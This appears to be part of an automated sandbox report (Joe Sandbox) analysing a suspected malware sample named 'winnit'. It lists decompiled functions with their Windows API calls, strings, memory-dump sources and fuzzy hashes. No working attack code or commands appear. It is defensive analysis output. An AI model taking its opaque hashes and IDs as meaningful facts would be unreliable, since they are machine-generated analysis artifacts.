                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: SendString$_memmove
                                          • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
                                          • API String ID: 2279737902-1007645807
                                          • Opcode ID: 2de0eb6cf28dcd35b5dfcf7bc506af811309726f714e53b3ed0ae66d029c29ab
                                          • Instruction ID: 2a8635ceab83e6091c6ac07928700086d0fb6a4744f03b52f5fae73855f7a814
                                          • Opcode Fuzzy Hash: 2de0eb6cf28dcd35b5dfcf7bc506af811309726f714e53b3ed0ae66d029c29ab
                                          • Instruction Fuzzy Hash: C3116D21A50169B9D720B7A1DC5ADFFBBFCEBD1B40F4005A9B416A20E2EEA01D45C5A0
                                          Function 00B146B7 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
                                          • String ID: 0.0.0.0
                                          • API String ID: 208665112-3771769585
                                          • Opcode ID: 94bced1082d5f1d6152cb5c630cede245a3bd0f153bf952d234c4397f9e17369
                                          • Instruction ID: 51035eb96ec4f10fd05e54e3621278bbc4a1d6c602b300edf0af215386466a4c
                                          • Opcode Fuzzy Hash: 94bced1082d5f1d6152cb5c630cede245a3bd0f153bf952d234c4397f9e17369
                                          • Instruction Fuzzy Hash: D611AE31900115ABDB24AB749D4AEEE77B8EB12711F5401B6F446961A1EF708EC1CA60
                                          Function 00B14F75 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON
                                          Download Yara Rule
                                          APIs
                                          • timeGetTime.WINMM ref: 00B14F7A
                                            • Part of subcall function 00AD049F: timeGetTime.WINMM(?,75A8B400,00AC0E7B), ref: 00AD04A3
                                          • Sleep.KERNEL32(0000000A), ref: 00B14FA6
                                          • EnumThreadWindows.USER32(?,Function_00064F28,00000000), ref: 00B14FCA
                                          • FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00B14FEC
                                          • SetActiveWindow.USER32 ref: 00B1500B
                                          • SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00B15019
                                          • SendMessageW.USER32(00000010,00000000,00000000), ref: 00B15038
                                          • Sleep.KERNEL32(000000FA), ref: 00B15043
                                          • IsWindow.USER32 ref: 00B1504F
                                          • EndDialog.USER32(00000000), ref: 00B15060
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
                                          • String ID: BUTTON
                                          • API String ID: 1194449130-3405671355
                                          • Opcode ID: af9bd5a38ef9ab5219a7e9872a9b28e65218eca299ce57b037bc3c11ffd4fd8e
                                          • Instruction ID: 595c95dd952aced2ce8b6adaae6f84ed4f2bf9a04f02f2c968d307b52c21feb5
                                          • Opcode Fuzzy Hash: af9bd5a38ef9ab5219a7e9872a9b28e65218eca299ce57b037bc3c11ffd4fd8e
                                          • Instruction Fuzzy Hash: A321F370604A0AEFEB215F60ED89F7A3BE9EB68745F541068F109832B1EF718DC4D661
                                          Function 00B1D58D Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB9837: __itow.LIBCMT ref: 00AB9862
                                            • Part of subcall function 00AB9837: __swprintf.LIBCMT ref: 00AB98AC
                                          • CoInitialize.OLE32(00000000), ref: 00B1D5EA
                                          • SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00B1D67D
                                          • SHGetDesktopFolder.SHELL32(?), ref: 00B1D691
                                          • CoCreateInstance.OLE32(00B42D7C,00000000,00000001,00B68C1C,?), ref: 00B1D6DD
                                          • SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00B1D74C
                                          • CoTaskMemFree.OLE32(?,?), ref: 00B1D7A4
                                          • _memset.LIBCMT ref: 00B1D7E1
                                          • SHBrowseForFolderW.SHELL32(?), ref: 00B1D81D
                                          • SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00B1D840
                                          • CoTaskMemFree.OLE32(00000000), ref: 00B1D847
                                          • CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 00B1D87E
                                          • CoUninitialize.OLE32(00000001,00000000), ref: 00B1D880
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
                                          • String ID:
                                          • API String ID: 1246142700-0
                                          • Opcode ID: b36f1108d31fdbc682fd0d650c0d47a689c9b6e1cbe92f22532b9e4cead75083
                                          • Instruction ID: d19273b5e73d4d9536d2a3d9b39a986447111f75233f3584398a24d1e2700c6a
                                          • Opcode Fuzzy Hash: b36f1108d31fdbc682fd0d650c0d47a689c9b6e1cbe92f22532b9e4cead75083
                                          • Instruction Fuzzy Hash: 43B1DA75A00109AFDB04DFA4C984DAEBBF9FF49314B1485A9F909EB261DB30ED45CB50
                                          Function 00B0C267 Relevance: 18.2, APIs: 12, Instructions: 174COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetDlgItem.USER32(?,00000001), ref: 00B0C283
                                          • GetWindowRect.USER32(00000000,?), ref: 00B0C295
                                          • MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 00B0C2F3
                                          • GetDlgItem.USER32(?,00000002), ref: 00B0C2FE
                                          • GetWindowRect.USER32(00000000,?), ref: 00B0C310
                                          • MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 00B0C364
                                          • GetDlgItem.USER32(?,000003E9), ref: 00B0C372
                                          • GetWindowRect.USER32(00000000,?), ref: 00B0C383
                                          • MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00B0C3C6
                                          • GetDlgItem.USER32(?,000003EA), ref: 00B0C3D4
                                          • MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00B0C3F1
                                          • InvalidateRect.USER32(?,00000000,00000001), ref: 00B0C3FE
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Window$ItemMoveRect$Invalidate
                                          • String ID:
                                          • API String ID: 3096461208-0
                                          • Opcode ID: d4f6dfe2e1aa31f5091f0c547b682fefd6476a98b0b1c3ef3f91de4f18e21be2
                                          • Instruction ID: 2f2366812c44ebac68ffab9910f853dd35a6df5a9ea7519a15bc949dbd1e6ce5
                                          • Opcode Fuzzy Hash: d4f6dfe2e1aa31f5091f0c547b682fefd6476a98b0b1c3ef3f91de4f18e21be2
                                          • Instruction Fuzzy Hash: BF512071B00205AFDB18CFA9DD99AAEBBB6EB88711F14826DF515D72D0DB709D40CB10
                                          Function 00AB201B Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB1B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00AB2036,?,00000000,?,?,?,?,00AB16CB,00000000,?), ref: 00AB1B9A
                                          • DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00AB20D3
                                          • KillTimer.USER32(-00000001,?,?,?,?,00AB16CB,00000000,?,?,00AB1AE2,?,?), ref: 00AB216E
                                          • DestroyAcceleratorTable.USER32(00000000), ref: 00AEBCA6
                                          • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00AB16CB,00000000,?,?,00AB1AE2,?,?), ref: 00AEBCD7
                                          • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00AB16CB,00000000,?,?,00AB1AE2,?,?), ref: 00AEBCEE
                                          • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00AB16CB,00000000,?,?,00AB1AE2,?,?), ref: 00AEBD0A
                                          • DeleteObject.GDI32(00000000), ref: 00AEBD1C
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
                                          • String ID:
                                          • API String ID: 641708696-0
                                          • Opcode ID: 47d5a2464233de5897963d85491fb6a335360f28ba3169099937fb1084322d32
                                          • Instruction ID: 67b5388a8ec580273c3fd2470e8cb564a3c85881b5f7320c10978cf40e769319
                                          • Opcode Fuzzy Hash: 47d5a2464233de5897963d85491fb6a335360f28ba3169099937fb1084322d32
                                          • Instruction Fuzzy Hash: 4F618D31510A41DFCB35AF19DD88B6AB7F5FB44312F60852EE4468B971CBB0AC81DB91
                                          Function 00AB21A5 Relevance: 18.1, APIs: 12, Instructions: 132COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB25DB: GetWindowLongW.USER32(?,000000EB), ref: 00AB25EC
                                          • GetSysColor.USER32(0000000F), ref: 00AB21D3
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ColorLongWindow
                                          • String ID:
                                          • API String ID: 259745315-0
                                          • Opcode ID: eaf0f3ba752fc1cb465daaffba51e6b8ce105f00eb8472c0899c7c58e6317e09
                                          • Instruction ID: cd7abe12ce8edfedc83df78a876e6e78a1eaedf6685c1f2b06e6dd39b4fdcdd2
                                          • Opcode Fuzzy Hash: eaf0f3ba752fc1cb465daaffba51e6b8ce105f00eb8472c0899c7c58e6317e09
                                          • Instruction Fuzzy Hash: C3417F31400545ABDB255F28EC89BF93B69EB06321F284266FE65DB1E6CB318C42DB61
                                          Function 00B1A8A7 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON
                                          Download Yara Rule
                                          APIs
                                          • CharLowerBuffW.USER32(?,?,00B3F910), ref: 00B1A90B
                                          • GetDriveTypeW.KERNEL32(00000061,00B689A0,00000061), ref: 00B1A9D5
                                          • _wcscpy.LIBCMT ref: 00B1A9FF
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: BuffCharDriveLowerType_wcscpy
                                          • String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
                                          • API String ID: 2820617543-1000479233
                                          • Opcode ID: 560817bac23b67d580cb05954bcec1d2663d67f1533e0eff0c1e4984b5aa4004
                                          • Instruction ID: 08b3385bb5297a69006641ce09c23ba53d9a794ba33b9b9af878dbfdf9e1cd5d
                                          • Opcode Fuzzy Hash: 560817bac23b67d580cb05954bcec1d2663d67f1533e0eff0c1e4984b5aa4004
                                          • Instruction Fuzzy Hash: 1151AE315183019BC300EF14CA92AEFB7E9EF85380F94496DF596572A2DB31E989CA53
                                          Function 00AB9837 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: __i64tow__itow__swprintf
                                          • String ID: %.15g$0x%p$False$True
                                          • API String ID: 421087845-2263619337
                                          • Opcode ID: 28ce30878ffa25fad0012d2a7c75f89be7c565496384b3205fced009b8ef080b
                                          • Instruction ID: b7f4b42ff06b23f9308968501a7b553a8b2874a1071297899ad49d3ab15fb9e6
                                          • Opcode Fuzzy Hash: 28ce30878ffa25fad0012d2a7c75f89be7c565496384b3205fced009b8ef080b
                                          • Instruction Fuzzy Hash: 2041D171600205AEEB24DF75D946EBA73F9EF45300F2044AEE58AD7292EA329941CB21
                                          Function 00B37152 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • _memset.LIBCMT ref: 00B3716A
                                          • CreateMenu.USER32 ref: 00B37185
                                          • SetMenu.USER32(?,00000000), ref: 00B37194
                                          • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00B37221
                                          • IsMenu.USER32(?), ref: 00B37237
                                          • CreatePopupMenu.USER32 ref: 00B37241
                                          • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00B3726E
                                          • DrawMenuBar.USER32 ref: 00B37276
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
                                          • String ID: 0$F
                                          • API String ID: 176399719-3044882817
                                          • Opcode ID: cc66fcd07b82611e619ea335d3222fadeab5d85f4607264dccb58e7892169f48
                                          • Instruction ID: 2cadf5cb396bc906b628011b8be82e9ff3c8390cce2e3bf5f577c58534c0b3e2
                                          • Opcode Fuzzy Hash: cc66fcd07b82611e619ea335d3222fadeab5d85f4607264dccb58e7892169f48
                                          • Instruction Fuzzy Hash: FE4169B5A01209EFDB20DF64D984FAABBF5FF09310F2400A9F945A7361DB31A910CB90
                                          Function 00B374BB Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00B3755E
                                          • CreateCompatibleDC.GDI32(00000000), ref: 00B37565
                                          • SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00B37578
                                          • SelectObject.GDI32(00000000,00000000), ref: 00B37580
                                          • GetPixel.GDI32(00000000,00000000,00000000), ref: 00B3758B
                                          • DeleteDC.GDI32(00000000), ref: 00B37594
                                          • GetWindowLongW.USER32(?,000000EC), ref: 00B3759E
                                          • SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 00B375B2
                                          • DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 00B375BE
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
                                          • String ID: static
                                          • API String ID: 2559357485-2160076837
                                          • Opcode ID: a93d7dd79e572849537b0564d042f88ebfe195726e1fd8f150ce8d583ba37f55
                                          • Instruction ID: 1d8395761e2d1691702b0b7520aed7cb62977a05f2f3956ce211e533cbd705fa
                                          • Opcode Fuzzy Hash: a93d7dd79e572849537b0564d042f88ebfe195726e1fd8f150ce8d583ba37f55
                                          • Instruction Fuzzy Hash: BF31AD72544216BBDF259F64DC49FEF3BA9FF19320F220264FA15A20A0CB31D811DBA0
                                          Function 00AD6E03 Relevance: 16.8, APIs: 11, Instructions: 258COMMON
                                          Download Yara Rule
                                          APIs
                                          • _memset.LIBCMT ref: 00AD6E3E
                                            • Part of subcall function 00AD8B28: __getptd_noexit.LIBCMT ref: 00AD8B28
                                          • __gmtime64_s.LIBCMT ref: 00AD6ED7
                                          • __gmtime64_s.LIBCMT ref: 00AD6F0D
                                          • __gmtime64_s.LIBCMT ref: 00AD6F2A
                                          • __allrem.LIBCMT ref: 00AD6F80
                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00AD6F9C
                                          • __allrem.LIBCMT ref: 00AD6FB3
                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00AD6FD1
                                          • __allrem.LIBCMT ref: 00AD6FE8
                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00AD7006
                                          • __invoke_watson.LIBCMT ref: 00AD7077
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
                                          • String ID:
                                          • API String ID: 384356119-0
                                          • Opcode ID: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
                                          • Instruction ID: e42ed4276356191e077f2357f2417a2052164fd1025916eb278e2faee8879595
                                          • Opcode Fuzzy Hash: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
                                          • Instruction Fuzzy Hash: 7971E476A00B16ABDB14AF69DD81B5AB7A8BF04360F14462BF516D73C1FB70DE408B90
                                          Function 00B12527 Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON
                                          Download Yara Rule
                                          APIs
                                          • _memset.LIBCMT ref: 00B12542
                                          • GetMenuItemInfoW.USER32(00B75890,000000FF,00000000,00000030), ref: 00B125A3
                                          • SetMenuItemInfoW.USER32(00B75890,00000004,00000000,00000030), ref: 00B125D9
                                          • Sleep.KERNEL32(000001F4), ref: 00B125EB
                                          • GetMenuItemCount.USER32(?), ref: 00B1262F
                                          • GetMenuItemID.USER32(?,00000000), ref: 00B1264B
                                          • GetMenuItemID.USER32(?,-00000001), ref: 00B12675
                                          • GetMenuItemID.USER32(?,?), ref: 00B126BA
                                          • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00B12700
                                          • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00B12714
                                          • SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00B12735
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ItemMenu$Info$CheckCountRadioSleep_memset
                                          • String ID:
                                          • API String ID: 4176008265-0
                                          • Opcode ID: 3709767e74d6aa55c38810825c5f79ba537b094cccc9e05a4e883a78cb78f7e3
                                          • Instruction ID: a69d953a51ba3ea4021c422fa0fb4fae29e7938dbd05d28134b7e7b190a78d29
                                          • Opcode Fuzzy Hash: 3709767e74d6aa55c38810825c5f79ba537b094cccc9e05a4e883a78cb78f7e3
                                          • Instruction Fuzzy Hash: 6F617C70900249AFDF21DF64DD889FF7BF9EB05344F940099E841A3291DB31ADA5DB20
                                          Function 00B36F23 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00B36FA5
                                          • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00B36FA8
                                          • GetWindowLongW.USER32(?,000000F0), ref: 00B36FCC
                                          • _memset.LIBCMT ref: 00B36FDD
                                          • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00B36FEF
                                          • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00B37067
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessageSend$LongWindow_memset
                                          • String ID:
                                          • API String ID: 830647256-0
                                          • Opcode ID: 54b99aa22af6cc7f1810da0ceeb493cbd3d8386a2fce5e91fa787c9419376d8b
                                          • Instruction ID: 834ce5dcee05d3941a64457e913fd3cddfbacfccfdec9687ca82f86d4ff53e20
                                          • Opcode Fuzzy Hash: 54b99aa22af6cc7f1810da0ceeb493cbd3d8386a2fce5e91fa787c9419376d8b
